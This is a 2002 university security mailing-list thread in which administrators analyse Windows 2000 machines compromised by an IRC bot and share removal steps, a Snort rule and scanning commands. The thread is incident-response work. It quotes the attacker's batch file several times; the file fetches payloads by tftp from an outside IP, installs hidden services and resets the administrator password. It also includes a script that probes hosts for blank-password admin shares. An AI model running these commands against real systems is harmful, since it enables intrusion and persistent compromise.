"c:\winnt\system32\vmn32\aspc\SVHOST.EXE" "c:\winnt\system32\vmn32\aspc\ir.conf" Y 0 0 Y Y c:\winnt\system32\vmn32\services start Ms32dll c:\winnt\system32\vmn32\services start SVHOST c:\winnt\system32\vmn32\services start MSVC5 echo REGEDIT4 1>>root.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\] >>
root.reg
echo "restrictanonymous"="1" >> root.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0\] >>
root.reg
echo "NTLM"="2" >> root.reg regedit /S root.reg del root.reg services stop tlntsvr services delete tlntsvr services stop lmhosts services start lmhosts services start NtLmSsp services stop PSEXESVC services delete PSEXESVC Allen Chang wrote:Apologies if I break the thread... Here's my analysis of the compromised computers. First of all, this is not the Backdoor.darkIRC detected by antivirus programs. This backdoor
is
not detected by the latest NAV patterns. I'm guessing that these computer were compromised through the administrative share with no administrator password on Windows 2000. *A rouge lsass.exe (with a red u and a smaller green d icon) was installed as a service using firedaemon.exe (or firedaem.exe). You can check for it under Administrative Tools -> Services. The one on our
hosts
was called ms32dll *Several .tmp files and a rudl32.exe are dropped in the Startup folder but the .tmp files don't seem to run. *Serve-U FTP, IRC and telnet servers are run on various ports. The IRC configurations(ir.con) seem to indicate that they are set up as XDCC file-serving bots. Judging from this, one should be able to remove the service with a "firedaemon -u ms32dll" This seems to close all the opened ports but I
am
unsure as to what other damage may have been done. On all the hosts, nmap found the following ports open: Port State Service 132/tcp open cisco-sys <--tlntsvr.exe (telnet) 135/tcp open loc-srv <--svchost.exe 139/tcp open netbios-ssn <--NetBIOS sharing (normal) 445/tcp open microsoft-ds <-Windows sharing (kind of normal) 1025/tcp open listen <--mstask.exe (normal) 8888/tcp open sun-answerbook <-- sxe5.tmp (backdoor client) Running Vision 1.0 (www.foundstone.com) on the compromised computers yielded these additional ports and programs bound to them: 1029/tcp <-- sxe5.tmp 1031/tcp <-- sxe5.tmp 43958/tcp <--c:\winnt\system32\vmn32\lsass.exe <-not to be confused
with
the other lsass.exe from MS 3112/tcp <-- c:\winnt\system32\vmn32\lsass.exe According to vmn\ServUStartUpLog.txt (Not confirmed) 3112 <-- ftp Hidden? (Never seen by me) 99/tcp <-- Backdoor command shell? (**Files Found**) C:\Documents and Settings\All Users\Start Menu\Programs\Startup rudl32.exe sxe3.tmp sxe4.tmp sxe5.tmp Other files mentioned at http://www.theorygroup.com/Archive/Unisog/2002/msg00334.html @llen Network Security Office of Residential Computing UC Berkeley
From huba () uidaho edu Thu May 2 23:42:02 2002
Date: Wed, 3 Apr 2002 09:03:01 -0800
Subject: RE: [unisog] Re: Coordinated Scan
From: Huba Leidenfrost <huba () uidaho edu>
To: mnx () utk edu, jeff_bollinger () unc edu, Jeff Bollinger
<jeff01 () email unc edu>,
Allen Chang <allen () rescomp berkeley edu>
Cc: unisog () sans org, security () rescomp berkeley edu
We fired off sample copies of what we saw here (as probably did many
of you) to SOPHOS, NAV, & F-Secure. F-Secure now has detection for
this and I'm sure the others will follow.
I haven't seen a conclusive writeup. However it would appear that
this is just another rendition of the global threat (GT Bot) as
mentioned earlier (http://bots.lockdowncorp.com/gtbot.html).
Although we still don't know exactly what the dropper was I'm
inclined to believe that the reason was simply poor user habits in
terms of surfing and password settings. All the systems we saw
hacked were 2000 Professional where the user had set their
administrator password to nothing.
H u b a
-
HUBA LEIDENFROST Systems Security Analyst
huba () uidaho edu Information Technology Services
University Of Idaho TEL/FAX: 208.885.2126/7539
http://www.its.uidaho.edu/info-security/runsafe.htm
-----Original Message-----
From: Mark Newman [mailto:mnx () utk edu]
Sent: Wednesday, April 03, 2002 7:07 AM
To: jeff_bollinger () unc edu; Jeff Bollinger; Allen Chang
Cc: unisog () sans org; security () rescomp berkeley edu
Subject: Re: [unisog] Re: Coordinated Scan
Anyone found a conclusive writeup on this?
Mark Newman
University of Tennessee
On Monday 01 April 2002 09:48 am, Jeff Bollinger wrote:
More on this attack. Here is the actual .bat file used by the attacker which gives some great clues: ---- @echo off c: cd c:\winnt\system32\vmn32 mkdir \RECYCLER\S-1-5-21-2686636377-1107193052-384560437-1000 attrib +s +r +h \RECYCLER\S-1-5-21-2686636377-1107193052-384560437-1000 kill sxe* kill temp.exe del ..\2*.ocx del ..\32*.ocx del ..\temp2.exe PATH=%PATH%;c:\winnt\system32 move firedaem.exe firedaemon.exe del c:\winnt\system32\vmn32.exe attrib *.* -r /s attrib +s +h +r c:\winnt\system32\vmn32 attrib c:\winnt\system32\vmn32\asp +s +h attrib c:\winnt\system32\vmn32\aspc +s +h tftp -i 12.233.26.173 GET ir2.conf c:\winnt\system32\vmn32\asp\ir.conf tftp -i 12.233.26.173 GET xir.conf c:\winnt\system32\vmn32\aspc\ir.conf tftp -i 12.233.26.173 GET barm8.gif c:\winnt\system32\vmn32\barm8.gif attrib *.* -r /s net user administrator changem net share /delete ipc$ SET MXHOME=c:\winnt\system32\vmn32 SET MXBIN=c:\winnt\system32\vmn32 c:\winnt\system32\vmn32\firedaemon -i Ms32dll "c:\winnt\system32\vmn32" "c:\winnt\system32\vmn32\lsass.exe" "c:\winnt\system32\vmn32\barm8.gif" Y 0 0 Y Y c:\winnt\system32\vmn32\firedaemon -i SVHOST "c:\winnt\system32\vmn32\asp" "c:\winnt\system32\vmn32\asp\SVHOST.EXE" "c:\winnt\system32\vmn32\asp\ir.conf" Y 0 0 Y Y c:\winnt\system32\vmn32\firedaemon -i MSVC5 "c:\winnt\system32\vmn32\aspc" "c:\winnt\system32\vmn32\aspc\SVHOST.EXE" "c:\winnt\system32\vmn32\aspc\ir.conf" Y 0 0 Y Y c:\winnt\system32\vmn32\services start Ms32dll c:\winnt\system32\vmn32\services start SVHOST c:\winnt\system32\vmn32\services start MSVC5 echo REGEDIT4 1>>root.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\] >> root.reg echo "restrictanonymous"="1" >> root.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0\] >> root.reg echo "NTLM"="2" >> root.reg regedit /S root.reg del root.reg services stop tlntsvr services delete tlntsvr services stop lmhosts services start lmhosts services start NtLmSsp services stop PSEXESVC services delete PSEXESVC Allen Chang wrote:Apologies if I break the thread... Here's my analysis of the compromised computers. First of all, this is not the Backdoor.darkIRC detected by antivirus programs. This backdoor is not detected by the latest NAV patterns. I'm guessing that these computer were compromised through the administrative share with no administrator password on Windows 2000. *A rouge lsass.exe (with a red u and a smaller green d icon) was installed as a service using firedaemon.exe (or firedaem.exe). You can check for it under Administrative Tools -> Services. The one on our hosts was called ms32dll *Several .tmp files and a rudl32.exe are dropped in the Startup folder but the .tmp files don't seem to run. *Serve-U FTP, IRC and telnet servers are run on various ports. The IRC configurations(ir.con) seem to indicate that they are set up as XDCC file-serving bots. Judging from this, one should be able to remove the service with a "firedaemon -u ms32dll" This seems to close all the opened ports but I am unsure as to what other damage may have been done. On all the hosts, nmap found the following ports open: Port State Service 132/tcp open cisco-sys <--tlntsvr.exe (telnet) 135/tcp open loc-srv <--svchost.exe 139/tcp open netbios-ssn <--NetBIOS sharing (normal) 445/tcp open microsoft-ds <-Windows sharing (kind of normal) 1025/tcp open listen <--mstask.exe (normal) 8888/tcp open sun-answerbook <-- sxe5.tmp (backdoor client) Running Vision 1.0 (www.foundstone.com) on the compromised computers yielded these additional ports and programs bound to them: 1029/tcp <-- sxe5.tmp 1031/tcp <-- sxe5.tmp 43958/tcp <--c:\winnt\system32\vmn32\lsass.exe <-not to be confused with the other lsass.exe from MS 3112/tcp <-- c:\winnt\system32\vmn32\lsass.exe According to vmn\ServUStartUpLog.txt (Not confirmed) 3112 <-- ftp Hidden? (Never seen by me) 99/tcp <-- Backdoor command shell? (**Files Found**) C:\Documents and Settings\All Users\Start Menu\Programs\Startup rudl32.exe sxe3.tmp sxe4.tmp sxe5.tmp Other files mentioned at http://www.theorygroup.com/Archive/Unisog/2002/msg00334.html @llen Network Security Office of Residential Computing UC Berkeley
*** Not encrypted nor signed data is left *** End of not encrypted nor signed data
From huba () uidaho edu Thu May 2 23:42:05 2002
Date: Wed, 3 Apr 2002 09:47:16 -0800
Subject: RE: [unisog] Re: Coordinated Scan
From: Huba Leidenfrost <huba () uidaho edu>
To: mnx () utk edu, jeff_bollinger () unc edu, Jeff Bollinger
<jeff01 () email unc edu>,
Allen Chang <allen () rescomp berkeley edu>
Cc: unisog () sans org, security () rescomp berkeley edu
Correction: F-Secure doesn't have a signature out yet for this. They
are still testing it. The fix they gave us didn't clean everything
up. Looks like they will call it some rendition of "darkIRC."
H u b a
-
HUBA LEIDENFROST Systems Security Analyst
huba () uidaho edu Information Technology Services
University Of Idaho TEL/FAX: 208.885.2126/7539
http://www.its.uidaho.edu/info-security/runsafe.htm
*** Not encrypted nor signed data is left
*** End of not encrypted nor signed data
From terry.cavender () vanderbilt edu Thu May 2 23:42:07 2002
Date: Wed, 03 Apr 2002 18:12:10 -0600
Subject: RE: [unisog] Re: Coordinated Scan
From: Terry Cavender <terry.cavender () vanderbilt edu>
To: unisog () sans org
You may also want to read this and note the security warning at the
bottom.
http://www.firedaemon.com/
Seems like a good product.
--On Wednesday, April 03, 2002 9:03 AM -0800 Huba Leidenfrost
<huba () uidaho edu> wrote:
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 We fired off sample copies of what we saw here (as probably did many of you) to SOPHOS, NAV, & F-Secure. F-Secure now has detection for this and I'm sure the others will follow. I haven't seen a conclusive writeup. However it would appear that this is just another rendition of the global threat (GT Bot) as mentioned earlier (http://bots.lockdowncorp.com/gtbot.html). Although we still don't know exactly what the dropper was I'm inclined to believe that the reason was simply poor user habits in terms of surfing and password settings. All the systems we saw hacked were 2000 Professional where the user had set their administrator password to nothing. H u b a - - HUBA LEIDENFROST Systems Security Analyst huba () uidaho edu Information Technology Services University Of Idaho TEL/FAX: 208.885.2126/7539 http://www.its.uidaho.edu/info-security/runsafe.htm - -----Original Message----- From: Mark Newman [mailto:mnx () utk edu] Sent: Wednesday, April 03, 2002 7:07 AM To: jeff_bollinger () unc edu; Jeff Bollinger; Allen Chang Cc: unisog () sans org; security () rescomp berkeley edu Subject: Re: [unisog] Re: Coordinated Scan Anyone found a conclusive writeup on this? Mark Newman University of Tennessee On Monday 01 April 2002 09:48 am, Jeff Bollinger wrote:More on this attack. Here is the actual .bat file used by the attacker which gives some great clues: ---- @echo off c: cd c:\winnt\system32\vmn32 mkdir \RECYCLER\S-1-5-21-2686636377-1107193052-384560437-1000 attrib +s +r +h \RECYCLER\S-1-5-21-2686636377-1107193052-384560437-1000 kill sxe* kill temp.exe del ..\2*.ocx del ..\32*.ocx del ..\temp2.exe PATH=%PATH%;c:\winnt\system32 move firedaem.exe firedaemon.exe del c:\winnt\system32\vmn32.exe attrib *.* -r /s attrib +s +h +r c:\winnt\system32\vmn32 attrib c:\winnt\system32\vmn32\asp +s +h attrib c:\winnt\system32\vmn32\aspc +s +h tftp -i 12.233.26.173 GET ir2.conf c:\winnt\system32\vmn32\asp\ir.conf tftp -i 12.233.26.173 GET xir.conf c:\winnt\system32\vmn32\aspc\ir.conf tftp -i 12.233.26.173 GET barm8.gif c:\winnt\system32\vmn32\barm8.gif attrib *.* -r /s net user administrator changem net share /delete ipc$ SET MXHOME=c:\winnt\system32\vmn32 SET MXBIN=c:\winnt\system32\vmn32 c:\winnt\system32\vmn32\firedaemon -i Ms32dll "c:\winnt\system32\vmn32" "c:\winnt\system32\vmn32\lsass.exe" "c:\winnt\system32\vmn32\barm8.gif" Y 0 0 Y Y c:\winnt\system32\vmn32\firedaemon -i SVHOST "c:\winnt\system32\vmn32\asp" "c:\winnt\system32\vmn32\asp\SVHOST.EXE" "c:\winnt\system32\vmn32\asp\ir.conf" Y 0 0 Y Y c:\winnt\system32\vmn32\firedaemon -i MSVC5 "c:\winnt\system32\vmn32\aspc" "c:\winnt\system32\vmn32\aspc\SVHOST.EXE" "c:\winnt\system32\vmn32\aspc\ir.conf" Y 0 0 Y Y c:\winnt\system32\vmn32\services start Ms32dll c:\winnt\system32\vmn32\services start SVHOST c:\winnt\system32\vmn32\services start MSVC5 echo REGEDIT4 1>>root.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\] >> root.reg echo "restrictanonymous"="1" >> root.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0\] >> root.reg echo "NTLM"="2" >> root.reg regedit /S root.reg del root.reg services stop tlntsvr services delete tlntsvr services stop lmhosts services start lmhosts services start NtLmSsp services stop PSEXESVC services delete PSEXESVC Allen Chang wrote:Apologies if I break the thread... Here's my analysis of the compromised computers. First of all, this is not the Backdoor.darkIRC detected by antivirus programs. This backdoor is not detected by the latest NAV patterns. I'm guessing that these computer were compromised through the administrative share with no administrator password on Windows 2000. *A rouge lsass.exe (with a red u and a smaller green d icon) was installed as a service using firedaemon.exe (or firedaem.exe). You can check for it under Administrative Tools -> Services. The one on our hosts was called ms32dll *Several .tmp files and a rudl32.exe are dropped in the Startup folder but the .tmp files don't seem to run. *Serve-U FTP, IRC and telnet servers are run on various ports. The IRC configurations(ir.con) seem to indicate that they are set up as XDCC file-serving bots. Judging from this, one should be able to remove the service with a "firedaemon -u ms32dll" This seems to close all the opened ports but I am unsure as to what other damage may have been done. On all the hosts, nmap found the following ports open: Port State Service 132/tcp open cisco-sys <--tlntsvr.exe (telnet) 135/tcp open loc-srv <--svchost.exe 139/tcp open netbios-ssn <--NetBIOS sharing (normal) 445/tcp open microsoft-ds <-Windows sharing (kind of normal) 1025/tcp open listen <--mstask.exe (normal) 8888/tcp open sun-answerbook <-- sxe5.tmp (backdoor client) Running Vision 1.0 (www.foundstone.com) on the compromised computers yielded these additional ports and programs bound to them: 1029/tcp <-- sxe5.tmp 1031/tcp <-- sxe5.tmp 43958/tcp <--c:\winnt\system32\vmn32\lsass.exe <-not to be confused with the other lsass.exe from MS 3112/tcp <-- c:\winnt\system32\vmn32\lsass.exe According to vmn\ServUStartUpLog.txt (Not confirmed) 3112 <-- ftp Hidden? (Never seen by me) 99/tcp <-- Backdoor command shell? (**Files Found**) C:\Documents and Settings\All Users\Start Menu\Programs\Startup rudl32.exe sxe3.tmp sxe4.tmp sxe5.tmp Other files mentioned at http://www.theorygroup.com/Archive/Unisog/2002/msg00334.html @llen Network Security Office of Residential Computing UC Berkeley-----BEGIN PGP SIGNATURE----- Version: PGPfreeware 7.0.3 for non-commercial use <http://www.pgp.com> iQA/AwUBPKs1w0pG2S0cMeJwEQLFlACg8TqRo7lO2jLMymLhvEME+CqROfEAoL1M 7H4fhOGU2CbFeKshjk8aZHHm =8+bO -----END PGP SIGNATURE-----
----------------------------------------------------------------- Terry Cavender Network Security Officer Vanderbilt University http://www.vanderbilt.edu/its/security WK: 615-343-3494 Fx: 615-343-1605 terry.cavender () Vanderbilt Edu
From jtillots () pharmacy purdue edu Thu May 2 23:42:07 2002
Date: Thu, 4 Apr 2002 09:04:10 -0500 (EST) Subject: RE: [unisog] Re: Coordinated Scan From: Jenett Tillotson <jtillots () pharmacy purdue edu> To: unisog () sans org Let me also add that I think this was the result of poor user habits. 3 of the boxes that were broken into had a blank administrator password. Also, there were logs of other attempts on campus where one box had 160 attempts to log into an account with administrator privileges. What puzzles me is that none of the accounts involved were actually the administrator account, but another account with administrator privilege. Excuse my ignorance with Microsoft products, but how does a hacker find out the usernames on a Windows box? Jenett Tillotson School of Pharmacy Purdue University On Wed, 3 Apr 2002, Terry Cavender wrote:
You may also want to read this and note the security warning at the
bottom.
http://www.firedaemon.com/
Seems like a good product.
--On Wednesday, April 03, 2002 9:03 AM -0800 Huba Leidenfrost
<huba () uidaho edu> wrote:
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 We fired off sample copies of what we saw here (as probably did many of you) to SOPHOS, NAV, & F-Secure. F-Secure now has detection for this and I'm sure the others will follow. I haven't seen a conclusive writeup. However it would appear that this is just another rendition of the global threat (GT Bot) as mentioned earlier (http://bots.lockdowncorp.com/gtbot.html). Although we still don't know exactly what the dropper was I'm inclined to believe that the reason was simply poor user habits in terms of surfing and password settings. All the systems we saw hacked were 2000 Professional where the user had set their administrator password to nothing. H u b a - - HUBA LEIDENFROST Systems Security Analyst huba () uidaho edu Information Technology Services University Of Idaho TEL/FAX: 208.885.2126/7539 http://www.its.uidaho.edu/info-security/runsafe.htm
From paland () stetson edu Thu May 2 23:42:07 2002
Date: Thu, 4 Apr 2002 09:54:36 -0500 Subject: Re: [unisog] Re: Coordinated Scan From: Patrick Aland <paland () stetson edu> To: Jenett Tillotson <jtillots () pharmacy purdue edu> Cc: unisog () sans org null session enumeration is one easy way. There is a rather nice perl script called null.pl (don't have url handy) that will get you a list of usernames, shares, etc on a machine. On Thu, Apr 04, 2002 at 09:04:10AM -0500, Jenett Tillotson wrote:
Let me also add that I think this was the result of poor user habits. 3 of the boxes that were broken into had a blank administrator password. Also, there were logs of other attempts on campus where one box had 160 attempts to log into an account with administrator privileges. What puzzles me is that none of the accounts involved were actually the administrator account, but another account with administrator privilege. Excuse my ignorance with Microsoft products, but how does a hacker find out the usernames on a Windows box? Jenett Tillotson School of Pharmacy Purdue University
--
------------------------------------------------------------
Patrick Aland paland () stetson edu
Network Administrator Voice: 386.822.7217
Stetson University Fax: 386.822.7367
------------------------------------------------------------
[ Part 2, Application/PGP-SIGNATURE 240bytes. ]
[ Unable to print this part. ]
From andy () umbc edu Thu May 2 23:42:07 2002
Date: Thu, 4 Apr 2002 11:01:38 -0500 Subject: Re: [unisog] Re: Coordinated Scan From: Anderson Johnston <andy () umbc edu> To: Patrick Aland <paland () stetson edu> Cc: Jenett Tillotson <jtillots () pharmacy purdue edu>, unisog () sans org There is also a Windows utility called "Winfingerprint" which scans an IP range for a menu of items like: NetBios shares Groups Users Null Sessions Registry Services Transports TCP port scan See http://sourceforge.net/projects/winfingerprint/ - andy On Thu, 4 Apr 2002, Patrick Aland wrote:
null session enumeration is one easy way. There is a rather nice perl script called null.pl (don't have url handy) that will get you a list of usernames, shares, etc on a machine. On Thu, Apr 04, 2002 at 09:04:10AM -0500, Jenett Tillotson wrote:Let me also add that I think this was the result of poor user
habits. 3
of the boxes that were broken into had a blank administrator password. Also, there were logs of other attempts on campus where one box had
160
attempts to log into an account with administrator privileges. What puzzles me is that none of the accounts involved were actually
the
administrator account, but another account with administrator
privilege.
Excuse my ignorance with Microsoft products, but how does a hacker
find
out the usernames on a Windows box? Jenett Tillotson School of Pharmacy Purdue University-- ------------------------------------------------------------ Patrick Aland paland () stetson edu Network Administrator Voice: 386.822.7217 Stetson University Fax: 386.822.7367 ------------------------------------------------------------
------------------------------------------------------------------------------ ** Andy Johnston (andy () umbc edu) * pager: 410-678-8949 ** ** Manager of IT Security * PGP key:(afj2002) 4096/8448B056 ** ** Office of Information Technology, UMBC * 4A B4 96 64 D9 B6 EF E3 21 9A ** ** 410-455-2583 (v)/410-455-1065 (f) * 46 1A 37 11 F5 6C 84 48 B0 56 ** ------------------------------------------------------------------------------
From pgoverts () sjfc edu Thu May 2 23:42:07 2002
Date: Thu, 4 Apr 2002 11:15:46 -0500 Subject: RE: [unisog] Re: Coordinated Scan From: "Goverts IV, Paul" <pgoverts () sjfc edu> To: "'unisog () sans org'" <unisog () sans org> It's especially easy if you have a tool such as Nessus, where one of the plugins actually queries the PC for netbios information, and it can not only return the names of users that use that PC, but potentially also the names of other PC's that the PC has browsed on Network Neighborhood. Paul -----Original Message----- From: Jenett Tillotson [mailto:jtillots () pharmacy purdue edu] Sent: Thursday, April 04, 2002 9:04 AM To: unisog () sans org Subject: RE: [unisog] Re: Coordinated Scan Let me also add that I think this was the result of poor user habits. 3 of the boxes that were broken into had a blank administrator password. Also, there were logs of other attempts on campus where one box had 160 attempts to log into an account with administrator privileges. What puzzles me is that none of the accounts involved were actually the administrator account, but another account with administrator privilege. Excuse my ignorance with Microsoft products, but how does a hacker find out the usernames on a Windows box? Jenett Tillotson School of Pharmacy Purdue University On Wed, 3 Apr 2002, Terry Cavender wrote:
You may also want to read this and note the security warning at the
bottom.
http://www.firedaemon.com/
Seems like a good product.
--On Wednesday, April 03, 2002 9:03 AM -0800 Huba Leidenfrost
<huba () uidaho edu> wrote:
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 We fired off sample copies of what we saw here (as probably did many of you) to SOPHOS, NAV, & F-Secure. F-Secure now has detection for this and I'm sure the others will follow. I haven't seen a conclusive writeup. However it would appear that this is just another rendition of the global threat (GT Bot) as mentioned earlier (http://bots.lockdowncorp.com/gtbot.html). Although we still don't know exactly what the dropper was I'm inclined to believe that the reason was simply poor user habits in terms of surfing and password settings. All the systems we saw hacked were 2000 Professional where the user had set their administrator password to nothing. H u b a - - HUBA LEIDENFROST Systems Security Analyst huba () uidaho edu Information Technology Services University Of Idaho TEL/FAX: 208.885.2126/7539 http://www.its.uidaho.edu/info-security/runsafe.htm
From reggers () ist uwaterloo ca Thu May 2 23:42:07 2002
Date: Mon, 8 Apr 2002 14:06:26 -0400 Subject: Re: [unisog] Re: Coordinated Scan From: Reg Quinton <reggers () ist uwaterloo ca> To: Jenett Tillotson <jtillots () pharmacy purdue edu>, unisog () sans org
Excuse my ignorance with Microsoft products, but how does a hacker find out the usernames on a Windows box?
I'm very ignorant about Microsoft products but..... 1). The Microsoft Personal Security Advisor at http://www.microsoft.com/technet/mpsa/start.asp is a self-service page to help one with security settings, patches and more. One of those security settings: http://www.microsoft.com/technet/mpsa/anonymous.asp has these values: 0 - "None. Rely on default permissions" 1 - "Do not allow enumeration of SAM accounts and names" 2 - "No access without explicit anonymous permissions" (not available on Windows NT 4) It's apparent that you can lock down a machine to stop the information leak (but don't try this setting on an Active Directory server ;-) 2). The "null.pl" mentioned in another response is found at: http://patriot.net/~carvdawg/scripts/null.pl But I've not tried it. Especially to see if the setting in 1) above stops the information leak 3). I did a very simple scan of our campus searching for open c$ shares accessible by Administrator with "" password using smbclient. I used nmap to find those machines that look like Windows and piped that through this: [2:02pm ist] more SmbProbe #!/bin/sh # # Foreach IP number provided, determine if the site has an open admin passwd. while read ip; do echo quit |\ smbclient "//$ip/c\$" '' -U Administrator >/dev/null 2>&1 && echo $ip done I found open systems... of course. You will to if you scan your campus.
From reggers () ist uwaterloo ca Thu May 2 23:42:07 2002
Date: Mon, 8 Apr 2002 16:25:08 -0400 Subject: Re: [unisog] Re: Coordinated Scan From: Reg Quinton <reggers () ist uwaterloo ca> To: unisog () sans org
accessible by Administrator with "" password using smbclient. I used nmap to find those machines that look like Windows
For the record, since some have asked, to find Windows machines
I did this:
nmap -p135,445 -oM - 129.97.1-254.1-254 |\
awk '/\/open\// {print $2}'
To find anyone with port 135 or 445 open. Those
are the traditional and new SMB services.
That runs fairly fast. Say 30min to scan our class B
net.
I hope this helps.
From andy () umbc edu Thu May 2 23:42:07 2002
Date: Mon, 8 Apr 2002 17:01:09 -0400
Subject: Re: [unisog] Re: Coordinated Scan
From: Anderson Johnston <andy () umbc edu>
To: Reg Quinton <reggers () ist uwaterloo ca>
Cc: unisog () sans org
I've found that the "-T aggressive" option speeds things up as well
without causing any actual damage.
- andy
On Mon, 8 Apr 2002, Reg Quinton wrote:
accessible by Administrator with "" password using smbclient. I used nmap to find those machines that look like WindowsFor the record, since some have asked, to find Windows machines I did this: nmap -p135,445 -oM - 129.97.1-254.1-254 |\ awk '/\/open\// {print $2}' To find anyone with port 135 or 445 open. Those are the traditional and new SMB services. That runs fairly fast. Say 30min to scan our class B net. I hope this helps.
------------------------------------------------------------------------------ ** Andy Johnston (andy () umbc edu) * pager: 410-678-8949 ** ** Manager of IT Security * PGP key:(afj2002) 4096/8448B056 ** ** Office of Information Technology, UMBC * 4A B4 96 64 D9 B6 EF E3 21 9A ** ** 410-455-2583 (v)/410-455-1065 (f) * 46 1A 37 11 F5 6C 84 48 B0 56 ** ------------------------------------------------------------------------------
From allen () rescomp berkeley edu Thu May 2 23:42:07 2002
Date: Wed, 10 Apr 2002 10:20:35 -0700 (PDT)
Subject: Re: [unisog] Infected windows boxes with IRC controlled trojans
on
them
From: Allen Chang <allen () rescomp berkeley edu>
To: Huba Leidenfrost <huba () uidaho edu>
Cc: unisog () sans org, its-security-list () uidaho edu
We have been looking at this for 2-3 weeks now. The degree of
infection/compromise varies. The machines compromised on our network were
all Win2k without Administrator passwords. It appears that a bot is being
used to compromise the machine and the owner comes around later to run
sua.bat and do all sorts of juicy stuff. A probable method is using PsExec
to start telnet.
Our machines also had a directory created in C:\RECYCLYER that had the
same name as the recycle bin and was attrib +s +r +h. That apparently was
set as the upload dir for the XDCC bot.
Also, \winnt\system32\vmn32\ contains the contents of vmn32.exe. Including
lsass.exe, which is used to open multiple services.
The IRC channel passwords are actually in one of the mirc.ini files
(haven't had time to look). It probably uses strange ASCII characters but
it's in there somewhere.
I'm refining removal instructions right now and will forward to the list
when completed.
@llen
Network Security
Residential Computing
UC Berkeley
On Wed, 10 Apr 2002, Huba Leidenfrost wrote:
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Some forensics work by one of our system administrators came up with the following on the latest win2k box that was found dishing out DoS traffic (huge number of small sized flows). I've enclosed the gates.txt file found which appears to be a huge list open proxies?
The gates.txt is a file that is standard to the gtbot bot control trojan. Not quite sure what the file is used for. temp.scr, temp.exe and temp2.exe are also standard from gtbot. Temp.exe is mIRC client and temp2.exe seems to be just a window hider.
Other infected systems? If you notice something in common about all those systems please let me know. I would suggest adding a rule to your NIDS boxes to watch for outgoing connections from your network(s) to http://home.earthlink.net/~e03913/dll32nos.exe. If you use SNORT here's what works for me: alert ip $HOME_NET any -> 207.217.98.0/24 80 (msg:"DarkIRC trojan retrieval"; classtype:bad-unknown; uricontent:"/dll32nos.exe"; nocase; sid 536; rev:1;) <BEGINNING OF NOTES> 02/27/2002 temp.exe (looks like MIRC icon, etc.) oxcu.ini (Backdoor.IRC.Flood.h) 2xvll.ocx (Backdoor.IRC.Cloner) I am unable to find the drop... bummer. Located in \winnt\system32, complete scripts available... 03/05/2002 32dll.ocx (Backdoor.IRC.Flood.a) 32dllxp.ocx (Backdoor.IRC.Flood.a) Also in /winnt/system32, complete nonsense script available 03/10/2002 r32.exe (exact copy of below, name change) rudl32.exe (our dropper friend for the darkIRC services) Also in /winnt/system32 03/15/2002 vmn32.exe (the complete package, w/ web server, irc server, ftp server, etc...) Also in /winnt/system32, this is where sua.bat of virii past executes after decompression 03/26/2002 Check this out, something keeps trying to connect to -> http://home.earthlink.net/~e03913/dll32nos.exe and a file gets created, but it is the error page of 'service overload' from Earthlink, so a bogus 32dllnos.exe get created in /winnt/system32/ -> it contains the html returned from Earthlink 03/30/2002 Another failed attempt to connect to the above link 04/01/2002 Success, LOL... dll32nos.exe is acquired and its setup is executed, a new month of bandwidth provides -> 2xvll.ocx (Backdoor.IRC.Cloner) 32dll.ocx (Backdoor.IRC.Flood.a) 32dllxp.ocx (Backdoor.IRC.Flood.a) fsearch.ini (scripts, finds all *.mpg, *.avi, etc. on host ->) gates.txt (a huge list of names, attached) oxcu.ini (Backdoor.IRC.Flood.h) temp.exe (looks like MIRC icon, etc.) temp.scr (huge list of IRC user names?) temp2.exe (which F-Secure identifies as 'Destructive Code') 04/08/2002 svchost.exe (from vmn32.exe) is invoked After the firewall I bring the ethernet online, and svchost.ext immediately tries to connect out to: ircu.bredband.com 195.54.102.4:6667 Also, unknown packets tcp are attempting to leave the client station.... LOL, rules created, I'll make a list of IPs in the morning... <END OF NOTES> - From the verbage on the error message at http://home.earthlink.net/~e03913/dll32nos.exe it would appear that this has been a popular website this month. - --------------- "Sorry...Page Temporarily Unavailable The Web page or file that you requested is temporarily unavailable. It has been so popular this month that it exceeded its free monthly traffic allotment. Access to this Web site will be restored on the first of next month. Please come back then. Thank you for your visit!" - ------------------------- beast.npac.syr.edu, cheetah.bradley.edu, client42153.atl.mediaone.net, proxy.ihp.sinica.edu.tw, relarn-relay.tasur.edu.ru, & triton.pwsbia.edu.pl are the .edu sites I noticed from the attached gates.txt. I'll call around in the morning and try to find out what these have in common. BTW if anyone has any good advice on how to sniff IRC channels and passwords from IRC bound traffic please let me know. Ideally when I spot one of these I'd like to be able to watch more carefully before turning a system off. Any tools for snarfing just IRC commands sort of like Dug Songs urlsnarf? H u b a - - - - -- --- O HUBA LEIDENFROST Systems Security Analyst -- <^- huba () uidaho edu Information Technology Services -- -\/\ www.its.uidaho.edu/info-security/runsafe.htm --- \ TEL: 208.885.2126 FAX: 208.885.7539 -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use <http://www.pgp.com> iQA/AwUBPLP16kpG2S0cMeJwEQKFxgCgke9r38NzCYhX3z8s0WAttSaunyoAnjE2 CfUs16tyo0XeguLdmiOEc5IH =a6Xo -----END PGP SIGNATURE-----
From dittrich () cac washington edu Thu May 2 23:42:07 2002
Date: Wed, 10 Apr 2002 11:55:01 -0700 (PDT)
Subject: [unisog] Re: Infected windows boxes with IRC controlled trojans
on
them
From: Dave Dittrich <dittrich () cac washington edu>
To: unisog () sans org
BTW if anyone has any good advice on how to sniff IRC channels and passwords from IRC bound traffic please let me know. Ideally when I spot one of these I'd like to be able to watch more carefully before turning a system off. Any tools for snarfing just IRC commands sort of like Dug Songs urlsnarf?
We were hit with the same thing. In several cases, it was related to
DDoS attacks. In others, distributed warez via bots using DCC.
Short answer is look at "ngrep". I have examples of its use in the
Trinoo, Stacheldraht, and "Power" bot, DDoS analyses on my DDoS page:
http://staff.washington.edu/dittrich/misc/ddos/
Also useful are "tcpdstat" and "tcptrace". I am also working on a
